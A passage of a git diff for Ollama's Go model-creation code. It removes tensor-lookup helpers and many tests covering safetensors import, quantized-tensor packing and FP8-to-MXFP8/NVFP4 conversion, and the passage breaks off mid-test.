inputGlobalScaleName = strings.TrimSuffix(weightPackedName, ".weight_packed") + ".input_global_scale" - if _, ok := tensorSet[inputGlobalScaleName]; !ok { - if _, ok := sourceTensorFiles[inputGlobalScaleName]; !ok { - inputGlobalScaleName = "" - } - } - - return weightName, scaleName, weightGlobalScaleName, inputGlobalScaleName, true -} - func readSourceTensorFiles(modelDir string) (map[string]string, error) { indexPath := filepath.Join(modelDir, "model.safetensors.index.json") data, err := os.ReadFile(indexPath) @@ -1894,27 +563,3 @@ func readSourceTensorFiles(modelDir string) (map[string]string, error) { } return index.WeightMap, nil } - -func getTensorFromSource(modelDir string, current *safetensors.TensorExtractor, cache map[string]*safetensors.TensorExtractor, sourceTensorFiles map[string]string, name string) (*safetensors.TensorData, error) { - if td, err := current.GetTensor(name); err == nil { - return td, nil - } - if sourceTensorFiles == nil { - return nil, fmt.Errorf("tensor %s not found in current shard and no source index available", name) - } - fileName, ok := sourceTensorFiles[name] - if !ok { - return nil, fmt.Errorf("tensor %s not found in source index", name) - } - ext := cache[fileName] - if ext == nil { - path := filepath.Join(modelDir, fileName) - var err error - ext, err = safetensors.OpenForExtraction(path) - if err != nil { - return nil, err - } - cache[fileName] = ext - } - return ext.GetTensor(name) -} diff --git a/x/create/create_test.go b/x/create/create_test.go index 0c195b371..ddd996487 100644 --- a/x/create/create_test.go +++ b/x/create/create_test.go @@ -4,7 +4,6 @@ import ( "bytes" "encoding/binary" "encoding/json" - "fmt" "io" "math" "os" @@ -13,7 +12,6 @@ import ( "strings" "testing" - "github.com/d4l3k/go-bfloat16" st "github.com/ollama/ollama/x/safetensors" ) @@ -172,50 +170,6 @@ func TestIsSafetensorsModelDir_NonexistentDir(t *testing.T) { } } -// createMinimalSafetensors creates a minimal valid safetensors file with one tensor -func createMinimalSafetensors(t *testing.T, path string) { - t.Helper() - - // Create a minimal safetensors file with a single float32 tensor - header := map[string]interface{}{ - "test_tensor": map[string]interface{}{ - "dtype": "F32", - "shape": []int{2, 2}, - "data_offsets": []int{0, 16}, // 4 float32 values = 16 bytes - }, - } - headerJSON, err := json.Marshal(header) - if err != nil { - t.Fatalf("failed to marshal header: %v", err) - } - - // Pad header to 8-byte alignment - padding := (8 - len(headerJSON)%8) % 8 - headerJSON = append(headerJSON, bytes.Repeat([]byte(" "), padding)...) - - // Write file - f, err := os.Create(path) - if err != nil { - t.Fatalf("failed to create file: %v", err) - } - defer f.Close() - - // Write header size (8 bytes, little endian) - if err := binary.Write(f, binary.LittleEndian, uint64(len(headerJSON))); err != nil { - t.Fatalf("failed to write header size: %v", err) - } - - // Write header - if _, err := f.Write(headerJSON); err != nil { - t.Fatalf("failed to write header: %v", err) - } - - // Write tensor data (16 bytes of zeros for 4 float32 values) - if _, err := f.Write(make([]byte, 16)); err != nil { - t.Fatalf("failed to write tensor data: %v", err) - } -} - func createTestSafetensors(t *testing.T, path string, tensors []*st.TensorData) { t.Helper() @@ -228,63 +182,6 @@ func createTestSafetensors(t *testing.T, path string, tensors []*st.TensorData) } } -func readSingleTensorHeader(t *testing.T, data []byte) (string, []int32) { - t.Helper() - - var headerSize uint64 - if err := binary.Read(bytes.NewReader(data[:8]), binary.LittleEndian, &headerSize); err != nil { - t.Fatalf("failed to read header size: %v", err) - } - - var header map[string]struct { - Dtype string `json:"dtype"` - Shape []int32 `json:"shape"` - } - if err := json.Unmarshal(data[8:8+headerSize], &header); err != nil { - t.Fatalf("failed to parse header: %v", err) - } - - for name, info := range header { - if name == "__metadata__" { - continue - } - return info.Dtype, info.Shape - } - - t.Fatal("no tensor entry found in header") - return "", nil -} - -func readSingleTensorRaw(t *testing.T, data []byte) []byte { - t.Helper() - - var headerSize uint64 - if err := binary.Read(bytes.NewReader(data[:8]), binary.LittleEndian, &headerSize); err != nil { - t.Fatalf("failed to read header size: %v", err) - } - - var header map[string]struct { - Dtype string `json:"dtype"` - Shape []int32 `json:"shape"` - DataOffsets [2]int `json:"data_offsets"` - } - if err := json.Unmarshal(data[8:8+headerSize], &header); err != nil { - t.Fatalf("failed to parse header: %v", err) - } - - for name, info := range header { - if name == "__metadata__" { - continue - } - start := 8 + int(headerSize) + info.DataOffsets[0] - end := 8 + int(headerSize) + info.DataOffsets[1] - return data[start:end] - } - - t.Fatal("no tensor entry found in header") - return nil -} - func encodeFloat32s(vals ...float32) []byte { raw := make([]byte, 4*len(vals)) for i, v := range vals { @@ -293,6 +190,30 @@ func encodeFloat32s(vals ...float32) []byte { return raw } +func readSafetensorsHeaderNames(t *testing.T, data []byte) []string { + t.Helper() + + var headerSize uint64 + if err := binary.Read(bytes.NewReader(data[:8]), binary.LittleEndian, &headerSize); err != nil { + t.Fatalf("failed to read header size: %v", err) + } + + var header map[string]json.RawMessage + if err := json.Unmarshal(data[8:8+headerSize], &header); err != nil { + t.Fatalf("failed to parse header: %v", err) + } + + names := make([]string, 0, len(header)) + for name := range header { + if name == "__metadata__" { + continue + } + names = append(names, name) + } + slices.Sort(names) + return names +} + func readPackedTensorRaw(t *testing.T, data []byte, tensorName string) []byte { t.Helper() @@ -320,1440 +241,6 @@ func readPackedTensorRaw(t *testing.T, data []byte, tensorName string) []byte { return data[start:end] } -func readSafetensorsHeaderNames(t *testing.T, data []byte) []string { - t.Helper() - - var headerSize uint64 - if err := binary.Read(bytes.NewReader(data[:8]), binary.LittleEndian, &headerSize); err != nil { - t.Fatalf("failed to read header size: %v", err) - } - - var header map[string]json.RawMessage - if err := json.Unmarshal(data[8:8+headerSize], &header); err != nil { - t.Fatalf("failed to parse header: %v", err) - } - - names := make([]string, 0, len(header)) - for name := range header { - if name == "__metadata__" { - continue - } - names = append(names, name) - } - slices.Sort(names) - return names -} - -func TestCreateSafetensorsModel(t *testing.T) { - dir := t.TempDir() - - // Create config.json - configJSON := `{"model_type": "test", "architectures": ["TestModel"]}` - if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(configJSON), 0o644); err != nil { - t.Fatalf("failed to write config.json: %v", err) - } - - // Create a minimal safetensors file - createMinimalSafetensors(t, filepath.Join(dir, "model.safetensors")) - - // Track what was created - var createdLayers []LayerInfo - var manifestWritten bool - var manifestModelName string - var manifestConfigLayer LayerInfo - var manifestLayers []LayerInfo - var statusMessages []string - - // Mock callbacks - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - data, err := io.ReadAll(r) - if err != nil { - return LayerInfo{}, err - } - layer := LayerInfo{ - Digest: "sha256:test", - Size: int64(len(data)), - MediaType: mediaType, - Name: name, - } - createdLayers = append(createdLayers, layer) - return layer, nil - } - - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - data, err := io.ReadAll(r) - if err != nil { - return nil, err - } - layer := LayerInfo{ - Digest: "sha256:tensor_" + name, - Size: int64(len(data)), - MediaType: "application/vnd.ollama.image.tensor", - Name: name, - } - createdLayers = append(createdLayers, layer) - return []LayerInfo{layer}, nil - } - - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { - manifestWritten = true - manifestModelName = modelName - manifestConfigLayer = config - manifestLayers = layers - return nil - } - - progressFn := func(status string) { - statusMessages = append(statusMessages, status) - } - - // Run CreateSafetensorsModel - err := CreateSafetensorsModel("test-model", dir, "", createLayer, createTensorLayer, writeManifest, progressFn) - if err != nil { - t.Fatalf("CreateSafetensorsModel failed: %v", err) - } - - // Verify manifest was written - if !manifestWritten { - t.Error("manifest was not written") - } - - if manifestModelName != "test-model" { - t.Errorf("manifest model name = %q, want %q", manifestModelName, "test-model") - } - - // Verify config layer was set - if manifestConfigLayer.Name != "config.json" { - t.Errorf("config layer name = %q, want %q", manifestConfigLayer.Name, "config.json") - } - - // Verify we have at least one tensor and one config layer - hasTensor := false - hasConfig := false - for _, layer := range manifestLayers { - if layer.Name == "test_tensor" { - hasTensor = true - } - if layer.Name == "config.json" { - hasConfig = true - } - } - - if !hasTensor { - t.Error("no tensor layer found in manifest") - } - if !hasConfig { - t.Error("no config layer found in manifest") - } - - // Verify status messages were sent - if len(statusMessages) == 0 { - t.Error("no status messages received") - } -} - -func TestCreateDraftSafetensorsLayersPrefixesTensorsAndConfigs(t *testing.T) { - dir := t.TempDir() - if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(`{"model_type":"gemma4_assistant"}`), 0o644); err != nil { - t.Fatal(err) - } - createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ - st.NewTensorDataFromBytes("model.layers.0.self_attn.q_proj.weight", "BF16", []int32{2, 2}, make([]byte, 8)), - }) - - var tensorNames []string - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - data, err := io.ReadAll(r) - if err != nil { - return LayerInfo{}, err - } - return LayerInfo{Digest: "sha256:json_" + name, Size: int64(len(data)), MediaType: mediaType, Name: name}, nil - } - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - data, err := io.ReadAll(r) - if err != nil { - return nil, err - } - tensorNames = append(tensorNames, name) - tensorName, tensorShape := readSingleTensorNameAndShape(t, data) - if tensorName != name { - t.Fatalf("safetensors key = %q, want %q", tensorName, name) - } - if !slices.Equal(tensorShape, shape) { - t.Fatalf("shape = %v, want %v", tensorShape, shape) - } - if quantize != "" { - t.Fatalf("draft quantize = %q, want empty", quantize) - } - return []LayerInfo{{Digest: "sha256:tensor_" + name, Size: int64(len(data)), MediaType: "application/vnd.ollama.image.tensor", Name: name}}, nil - } - - layers, err := CreateDraftSafetensorsLayers(dir, "draft.", "draft", "", createLayer, createTensorLayer, func(string) {}) - if err != nil { - t.Fatal(err) - } - - if !slices.Contains(tensorNames, "draft.model.layers.0.self_attn.q_proj.weight") { - t.Fatalf("draft tensor was not prefixed: %v", tensorNames) - } - var hasDraftConfig bool - for _, layer := range layers { - if layer.Name == "draft/config.json" && layer.MediaType == "application/vnd.ollama.image.json" { - hasDraftConfig = true - } - } - if !hasDraftConfig { - t.Fatalf("draft/config.json layer missing: %#v", layers) - } -} - -func TestCreateDraftSafetensorsLayersQuantizesEligibleTensors(t *testing.T) { - dir := t.TempDir() - if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(`{ - "architectures":["Gemma4AssistantForCausalLM"], - "num_hidden_layers":8 - }`), 0o644); err != nil { - t.Fatal(err) - } - createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ - st.NewTensorDataFromBytes("model.embed_tokens.weight", "BF16", []int32{64, 64}, make([]byte, 64*64*2)), - st.NewTensorDataFromBytes("model.layers.0.self_attn.q_proj.weight", "BF16", []int32{64, 64}, make([]byte, 64*64*2)), - st.NewTensorDataFromBytes("model.layers.0.input_layernorm.weight", "BF16", []int32{64}, make([]byte, 64*2)), - }) - - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - data, err := io.ReadAll(r) - if err != nil { - return LayerInfo{}, err - } - return LayerInfo{Digest: "sha256:json_" + name, Size: int64(len(data)), MediaType: mediaType, Name: name}, nil - } - quantizeByName := make(map[string]string) - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - data, err := io.ReadAll(r) - if err != nil { - return nil, err - } - quantizeByName[name] = quantize - return []LayerInfo{{Digest: "sha256:tensor_" + name, Size: int64(len(data)), MediaType: "application/vnd.ollama.image.tensor", Name: name}}, nil - } - - if _, err := CreateDraftSafetensorsLayers(dir, "draft.", "draft", "MXFP8", createLayer, createTensorLayer, func(string) {}); err != nil { - t.Fatal(err) - } - - if got := quantizeByName["draft.model.layers.0.self_attn.q_proj.weight"]; got != "mxfp8" { - t.Fatalf("q_proj draft quantize = %q, want mxfp8", got) - } - if got := quantizeByName["draft.model.layers.0.input_layernorm.weight"]; got != "" { - t.Fatalf("norm draft quantize = %q, want empty", got) - } - if got := quantizeByName["draft.model.embed_tokens.weight"]; got != "" { - t.Fatalf("embed_tokens draft quantize = %q, want empty", got) - } -} - -func TestCreateDraftSafetensorsLayersRejectsUnsupportedDraftQuantize(t *testing.T) { - _, err := CreateDraftSafetensorsLayers(t.TempDir(), "draft.", "draft", "bogus", nil, nil, func(string) {}) - if err == nil || !strings.Contains(err.Error(), "unsupported --draft-quantize") { - t.Fatalf("error = %v, want unsupported --draft-quantize", err) - } -} - -func readSingleTensorNameAndShape(t *testing.T, data []byte) (string, []int32) { - t.Helper() - - var headerSize uint64 - if err := binary.Read(bytes.NewReader(data[:8]), binary.LittleEndian, &headerSize); err != nil { - t.Fatalf("failed to read header size: %v", err) - } - - var header map[string]struct { - Shape []int32 `json:"shape"` - } - if err := json.Unmarshal(data[8:8+headerSize], &header); err != nil { - t.Fatalf("failed to parse header: %v", err) - } - for name, info := range header { - if name != "__metadata__" { - return name, info.Shape - } - } - t.Fatal("no tensor entry found in header") - return "", nil -} - -func TestCreateSafetensorsModel_NoConfigJson(t *testing.T) { - dir := t.TempDir() - - // Create only a safetensors file, no config.json - createMinimalSafetensors(t, filepath.Join(dir, "model.safetensors")) - - // Mock callbacks (minimal) - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - io.ReadAll(r) - return LayerInfo{Name: name}, nil - } - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - io.ReadAll(r) - return []LayerInfo{{Name: name}}, nil - } - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { - return nil - } - progressFn := func(status string) {} - - err := CreateSafetensorsModel("test-model", dir, "", createLayer, createTensorLayer, writeManifest, progressFn) - if err == nil { - t.Error("expected error for missing config.json, got nil") - } -} - -func TestCreateSafetensorsModel_EmptyDir(t *testing.T) { - dir := t.TempDir() - - // Mock callbacks - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - return LayerInfo{}, nil - } - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - return []LayerInfo{{}}, nil - } - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { - return nil - } - progressFn := func(status string) {} - - err := CreateSafetensorsModel("test-model", dir, "", createLayer, createTensorLayer, writeManifest, progressFn) - if err == nil { - t.Error("expected error for empty directory, got nil") - } -} - -func TestCreateSafetensorsModel_SkipsIndexJson(t *testing.T) { - dir := t.TempDir() - - // Create config.json - if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(`{}`), 0o644); err != nil { - t.Fatalf("failed to write config.json: %v", err) - } - - // Create model.safetensors.index.json (should be skipped) - indexJSON := `{"metadata": {"total_size": 100}, "weight_map": {}}` - if err := os.WriteFile(filepath.Join(dir, "model.safetensors.index.json"), []byte(indexJSON), 0o644); err != nil { - t.Fatalf("failed to write index.json: %v", err) - } - - // Create a minimal safetensors file - createMinimalSafetensors(t, filepath.Join(dir, "model.safetensors")) - - var configNames []string - - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - io.ReadAll(r) - configNames = append(configNames, name) - return LayerInfo{Name: name, Digest: "sha256:test"}, nil - } - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - io.ReadAll(r) - return []LayerInfo{{Name: name}}, nil - } - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { - return nil - } - progressFn := func(status string) {} - - err := CreateSafetensorsModel("test-model", dir, "", createLayer, createTensorLayer, writeManifest, progressFn) - if err != nil { - t.Fatalf("CreateSafetensorsModel failed: %v", err) - } - - // Verify model.safetensors.index.json was not included - for _, name := range configNames { - if name == "model.safetensors.index.json" { - t.Error("model.safetensors.index.json should have been skipped") - } - } -} - -func TestCreateSafetensorsModel_PacksPrequantizedTensorTriplets(t *testing.T) { - dir := t.TempDir() - - configJSON := `{ - "model_type": "test", - "architectures": ["TestModel"], - "quantization": {"group_size": 64, "bits": 4, "mode": "affine"} - }` - if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(configJSON), 0o644); err != nil { - t.Fatalf("failed to write config.json: %v", err) - } - - createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ - st.NewTensorDataFromBytes("linear.weight", "U32", []int32{4, 4}, make([]byte, 16)), - st.NewTensorDataFromBytes("linear.scales", "BF16", []int32{4, 1}, make([]byte, 8)), - st.NewTensorDataFromBytes("linear.biases", "BF16", []int32{4, 1}, make([]byte, 8)), - st.NewTensorDataFromBytes("plain.weight", "F32", []int32{2, 2}, make([]byte, 16)), - }) - - var packedHeader map[string]json.RawMessage - var tensorLayerNames []string - var createTensorLayerNames []string - - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - data, err := io.ReadAll(r) - if err != nil { - return LayerInfo{}, err - } - if mediaType == "application/vnd.ollama.image.tensor" && name == "linear.weight" { - var headerSize uint64 - if err := binary.Read(bytes.NewReader(data[:8]), binary.LittleEndian, &headerSize); err != nil { - return LayerInfo{}, err - } - if err := json.Unmarshal(data[8:8+headerSize], &packedHeader); err != nil { - return LayerInfo{}, err - } - } - tensorLayerNames = append(tensorLayerNames, name) - return LayerInfo{Name: name, Digest: "sha256:" + name, MediaType: mediaType, Size: int64(len(data))}, nil - } - - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - if _, err := io.ReadAll(r); err != nil { - return nil, err - } - createTensorLayerNames = append(createTensorLayerNames, name) - return []LayerInfo{{Name: name, Digest: "sha256:tensor_" + name, MediaType: "application/vnd.ollama.image.tensor"}}, nil - } - - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { - return nil - } - - progressFn := func(status string) {} - - if err := CreateSafetensorsModel("test-model", dir, "", createLayer, createTensorLayer, writeManifest, progressFn); err != nil { - t.Fatalf("CreateSafetensorsModel failed: %v", err) - } - - if packedHeader == nil { - t.Fatal("expected packed quantized header for linear.weight") - } - if _, ok := packedHeader["linear.weight"]; !ok { - t.Fatalf("packed header missing linear.weight: %v", packedHeader) - } - if _, ok := packedHeader["linear.weight.scale"]; !ok { - t.Fatalf("packed header missing linear.weight.scale: %v", packedHeader) - } - if _, ok := packedHeader["linear.weight.bias"]; !ok { - t.Fatalf("packed header missing linear.weight.bias: %v", packedHeader) - } - - var metadata map[string]string - if metaRaw, ok := packedHeader["__metadata__"]; ok { - if err := json.Unmarshal(metaRaw, &metadata); err != nil { - t.Fatalf("failed to parse packed metadata: %v", err) - } - } - if metadata["quant_type"] != "int4" { - t.Fatalf("quant_type = %q, want %q", metadata["quant_type"], "int4") - } - if metadata["group_size"] != "64" { - t.Fatalf("group_size = %q, want %q", metadata["group_size"], "64") - } - - if slices.Contains(createTensorLayerNames, "linear.weight") { - t.Fatalf("linear.weight unexpectedly handled by createTensorLayer: %v", createTensorLayerNames) - } - if slices.Contains(createTensorLayerNames, "linear.scales") || slices.Contains(createTensorLayerNames, "linear.biases") { - t.Fatalf("quantized companions unexpectedly handled separately: %v", createTensorLayerNames) - } - if !slices.Contains(createTensorLayerNames, "plain.weight") { - t.Fatalf("plain.weight missing from createTensorLayer calls: %v", createTensorLayerNames) - } - if slices.Contains(tensorLayerNames, "linear.scales") || slices.Contains(tensorLayerNames, "linear.biases") { - t.Fatalf("quantized companions unexpectedly emitted as layers: %v", tensorLayerNames) - } -} - -func TestCreateSafetensorsModel_HFFP8AutoConvertsToMXFP8(t *testing.T) { - dir := t.TempDir() - - configJSON := `{ - "model_type": "test", - "architectures": ["TestModel"], - "quantization_config": {"quant_method": "fp8", "weight_block_size": [128, 128]} - }` - if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(configJSON), 0o644); err != nil { - t.Fatalf("failed to write config.json: %v", err) - } - - createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ - st.NewTensorDataFromBytes("linear.weight", "F8_E4M3", []int32{2, 2}, []byte{1, 2, 3, 4}), - st.NewTensorDataFromBytes("linear.weight_scale_inv", "BF16", []int32{1, 1}, make([]byte, 2)), - st.NewTensorDataFromBytes("dense.weight", "BF16", []int32{128, 128}, make([]byte, 128*128*2)), - st.NewTensorDataFromBytes("norm.weight", "BF16", []int32{2}, make([]byte, 4)), - }) - - quantizeByName := make(map[string]string) - headerNamesByName := make(map[string][]string) - - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - _, err := io.ReadAll(r) - if err != nil { - return LayerInfo{}, err - } - return LayerInfo{Name: name, Digest: "sha256:" + name, MediaType: mediaType}, nil - } - - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - data, err := io.ReadAll(r) - if err != nil { - return nil, err - } - quantizeByName[name] = quantize - headerNamesByName[name] = readSafetensorsHeaderNames(t, data) - return []LayerInfo{{Name: name, Digest: "sha256:tensor_" + name, MediaType: "application/vnd.ollama.image.tensor"}}, nil - } - - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { return nil } - - var statusMessages []string - progressFn := func(status string) { - statusMessages = append(statusMessages, status) - } - - if err := CreateSafetensorsModel("test-model", dir, "", createLayer, createTensorLayer, writeManifest, progressFn); err != nil { - t.Fatalf("CreateSafetensorsModel failed: %v", err) - } - - if len(statusMessages) == 0 { - t.Fatal("no status messages received") - } - if got, want := statusMessages[0], "importing model.safetensors (4 tensors, converting source E4M3 block-FP8 to MLX mxfp8)"; got != want { - t.Fatalf("status = %q, want %q", got, want) - } - - if got := quantizeByName["linear.weight"]; got != "mxfp8" { - t.Fatalf("linear.weight quantization = %q, want %q", got, "mxfp8") - } - - if got := quantizeByName["norm.weight"]; got != "" { - t.Fatalf("norm.weight quantization = %q, want empty", got) - } - if got := quantizeByName["dense.weight"]; got != "" { - t.Fatalf("dense.weight quantization = %q, want empty", got) - } - - if _, ok := quantizeByName["linear.weight_scale_inv"]; ok { - t.Fatal("linear.weight_scale_inv should not be imported as a standalone tensor") - } - - if got := headerNamesByName["linear.weight"]; !slices.Equal(got, []string{"linear.weight", "linear.weight.scale_inv"}) { - t.Fatalf("linear.weight blob tensors = %v, want %v", got, []string{"linear.weight", "linear.weight.scale_inv"}) - } - - if got := headerNamesByName["norm.weight"]; !slices.Equal(got, []string{"norm.weight"}) { - t.Fatalf("norm.weight blob tensors = %v, want %v", got, []string{"norm.weight"}) - } - if got := headerNamesByName["dense.weight"]; !slices.Equal(got, []string{"dense.weight"}) { - t.Fatalf("dense.weight blob tensors = %v, want %v", got, []string{"dense.weight"}) - } -} - -func TestCreateSafetensorsModel_CompressedTensorsFP8WeightScale(t *testing.T) { - dir := t.TempDir() - - configJSON := `{ - "model_type": "test", - "architectures": ["TestModel"], - "compression_config": { - "quant_method": "compressed-tensors", - "format": "float-quantized", - "config_groups": { - "group_0": { - "format": "float-quantized", - "weights": { - "type": "float", - "num_bits": 8, - "block_structure": [128, 128] - } - } - } - } - }` - if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(configJSON), 0o644); err != nil { - t.Fatalf("failed to write config.json: %v", err) - } - - createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ - st.NewTensorDataFromBytes("linear.weight", "F8_E4M3", []int32{2, 2}, []byte{1, 2, 3, 4}), - st.NewTensorDataFromBytes("linear.weight_scale", "BF16", []int32{1, 1}, make([]byte, 2)), - st.NewTensorDataFromBytes("norm.weight", "BF16", []int32{2}, make([]byte, 4)), - }) - - quantizeByName := make(map[string]string) - headerNamesByName := make(map[string][]string) - - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - if _, err := io.ReadAll(r); err != nil { - return LayerInfo{}, err - } - return LayerInfo{Name: name, Digest: "sha256:" + name, MediaType: mediaType}, nil - } - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - data, err := io.ReadAll(r) - if err != nil { - return nil, err - } - quantizeByName[name] = quantize - headerNamesByName[name] = readSafetensorsHeaderNames(t, data) - return []LayerInfo{{Name: name, Digest: "sha256:tensor_" + name, MediaType: "application/vnd.ollama.image.tensor"}}, nil - } - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { return nil } - - var statusMessages []string - progressFn := func(status string) { - statusMessages = append(statusMessages, status) - } - - if err := CreateSafetensorsModel("test-model", dir, "", createLayer, createTensorLayer, writeManifest, progressFn); err != nil { - t.Fatalf("CreateSafetensorsModel failed: %v", err) - } - if len(statusMessages) == 0 { - t.Fatal("no status messages received") - } - if got, want := statusMessages[0], "importing model.safetensors (3 tensors, converting source E4M3 block-FP8 to MLX mxfp8)"; got != want { - t.Fatalf("status = %q, want %q", got, want) - } - if got := quantizeByName["linear.weight"]; got != "mxfp8" { - t.Fatalf("linear.weight quantization = %q, want mxfp8", got) - } - if _, ok := quantizeByName["linear.weight_scale"]; ok { - t.Fatal("linear.weight_scale should not be imported as a standalone tensor") - } - if got := headerNamesByName["linear.weight"]; !slices.Equal(got, []string{"linear.weight", "linear.weight.scale"}) { - t.Fatalf("linear.weight blob tensors = %v, want %v", got, []string{"linear.weight", "linear.weight.scale"}) - } -} - -func TestCreateSafetensorsModel_HFFP8SourceCanConvertToNVFP4(t *testing.T) { - dir := t.TempDir() - - configJSON := `{ - "model_type": "test", - "architectures": ["TestModel"], - "quantization_config": {"quant_method": "fp8", "weight_block_size": [128, 128]} - }` - if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(configJSON), 0o644); err != nil { - t.Fatalf("failed to write config.json: %v", err) - } - - createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ - st.NewTensorDataFromBytes("linear.weight", "F8_E4M3", []int32{128, 128}, make([]byte, 128*128)), - st.NewTensorDataFromBytes("linear.weight_scale_inv", "BF16", []int32{1, 1}, make([]byte, 2)), - st.NewTensorDataFromBytes("model.layers.0.mlp.experts.0.down_proj.weight", "F8_E4M3", []int32{128, 128}, make([]byte, 128*128)), - st.NewTensorDataFromBytes("model.layers.0.mlp.experts.0.down_proj.weight_scale_inv", "BF16", []int32{1, 1}, make([]byte, 2)), - st.NewTensorDataFromBytes("model.layers.0.self_attn.q_proj.weight", "BF16", []int32{128, 128}, make([]byte, 128*128*2)), - st.NewTensorDataFromBytes("model.embed_tokens.weight", "BF16", []int32{128, 128}, make([]byte, 128*128*2)), - st.NewTensorDataFromBytes("lm_head.weight", "BF16", []int32{128, 128}, make([]byte, 128*128*2)), - st.NewTensorDataFromBytes("model.layers.0.mlp.gate.weight", "BF16", []int32{128, 128}, make([]byte, 128*128*2)), - st.NewTensorDataFromBytes("norm.weight", "BF16", []int32{128}, make([]byte, 256)), - }) - - quantizeByName := make(map[string]string) - headerNamesByName := make(map[string][]string) - - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - if _, err := io.ReadAll(r); err != nil { - return LayerInfo{}, err - } - return LayerInfo{Name: name, Digest: "sha256:" + name, MediaType: mediaType}, nil - } - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - data, err := io.ReadAll(r) - if err != nil { - return nil, err - } - quantizeByName[name] = quantize - headerNamesByName[name] = readSafetensorsHeaderNames(t, data) - return []LayerInfo{{Name: name, Digest: "sha256:tensor_" + name, MediaType: "application/vnd.ollama.image.tensor"}}, nil - } - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { return nil } - - var statusMessages []string - progressFn := func(status string) { - statusMessages = append(statusMessages, status) - } - - if err := CreateSafetensorsModel("test-model", dir, "nvfp4", createLayer, createTensorLayer, writeManifest, progressFn); err != nil { - t.Fatalf("CreateSafetensorsModel failed: %v", err) - } - if len(statusMessages) == 0 { - t.Fatal("no status messages received") - } - if got, want := statusMessages[0], "importing model.safetensors (9 tensors, converting source E4M3 block-FP8 to MLX nvfp4)"; got != want { - t.Fatalf("status = %q, want %q", got, want) - } - if got := quantizeByName["linear.weight"]; got != "nvfp4" { - t.Fatalf("linear.weight quantization = %q, want nvfp4", got) - } - if got := quantizeByName["model.layers.0.mlp.experts.0.down_proj.weight"]; got != "mxfp8" { - t.Fatalf("source fp8 down_proj quantization = %q, want mxfp8", got) - } - for _, name := range []string{ - "model.layers.0.self_attn.q_proj.weight", - "model.embed_tokens.weight", - "lm_head.weight", - } { - if got := quantizeByName[name]; got != "mxfp8" { - t.Fatalf("%s quantization = %q, want mxfp8", name, got) - } - } - if got := quantizeByName["model.layers.0.mlp.gate.weight"]; got != "" { - t.Fatalf("router gate quantization = %q, want empty", got) - } - if got := quantizeByName["norm.weight"]; got != "" { - t.Fatalf("norm.weight quantization = %q, want empty", got) - } - if got := headerNamesByName["linear.weight"]; !slices.Equal(got, []string{"linear.weight", "linear.weight.scale_inv"}) { - t.Fatalf("linear.weight blob tensors = %v, want %v", got, []string{"linear.weight", "linear.weight.scale_inv"}) - } -} - -func TestCreateSafetensorsModel_RejectsRequantizingQuantizedSources(t *testing.T) { - tests := []struct { - name string - configJSON string - tensors []*st.TensorData - wantErr string - }{ - { - name: "prequantized affine", - configJSON: `{"model_type": "test", "architectures": ["TestModel"]}`, - tensors: []*st.TensorData{ - st.NewTensorDataFromBytes("linear.weight", "U32", []int32{4, 4}, make([]byte, 16)), - st.NewTensorDataFromBytes("linear.scales", "BF16", []int32{4, 1}, make([]byte, 8)), - }, - wantErr: `cannot requantize already-quantized source model with --quantize "int4"`, - }, - { - name: "hf fp8 source", - configJSON: `{ - "model_type": "test", - "architectures": ["TestModel"], - "quantization_config": {"quant_method": "fp8", "weight_block_size": [128, 128]} - }`, - tensors: []*st.TensorData{ - st.NewTensorDataFromBytes("linear.weight", "F8_E4M3", []int32{2, 2}, []byte{1, 2, 3, 4}), - st.NewTensorDataFromBytes("linear.weight_scale_inv", "BF16", []int32{1, 1}, make([]byte, 2)), - }, - wantErr: `cannot convert already-quantized fp8 source model with --quantize "int4"`, - }, - { - name: "packed nvfp4 source", - configJSON: `{ - "model_type": "test", - "architectures": ["TestModel"], - 